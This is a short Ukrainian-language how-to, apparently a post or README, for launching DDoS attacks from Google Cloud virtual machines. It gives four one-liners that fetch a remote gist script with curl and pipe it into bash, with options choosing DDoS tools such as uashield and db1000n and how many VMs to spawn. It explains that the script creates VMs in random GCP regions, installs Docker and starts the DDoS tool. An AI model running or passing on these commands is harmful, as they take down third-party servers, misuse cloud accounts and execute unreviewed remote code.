Для роботи спершу потрібно поставити на локальний ПК gcloud cli
https://cloud.google.com/sdk/docs/install
Для macos простіше через brew
Швидкий старт без розминки. Пояснення скрипта нижче.
curl -sL <https://gist.github.com/themkvz/6813718135f51eeef224772e723c2bdf/raw> | bash -s -- -t 5000 -c 10 -p 1 uashield
curl -sL <https://gist.github.com/themkvz/6813718135f51eeef224772e723c2bdf/raw> | bash -s -- -t 50 -c 10 php
curl -sL <https://gist.github.com/themkvz/6813718135f51eeef224772e723c2bdf/raw> | bash -s -- -c 10 db1000n
curl -sL <https://gist.github.com/themkvz/6813718135f51eeef224772e723c2bdf/raw> | bash -s -- -t 2000 -c 10 python
Код скрипта на github - тут (перед використанням чужих скриптів перевіряйте їх код)
Скрипт створює задану кількість VM (параметр -c) із обраними характеристиками (параметр —custom-cpu та —custom-memory) в випадковому регіоні GCP.
На VM автоматично ставиться докер і завантажуеться скрипт для ddos (за замовчування uashield)
Usage:
curl -L <https://gist.github.com/themkvz/6813718135f51eeef224772e723c2bdf/raw> -o save-homeland.sh
chmod +x save-homeland.sh
bash save-homeland.sh -h
Example options: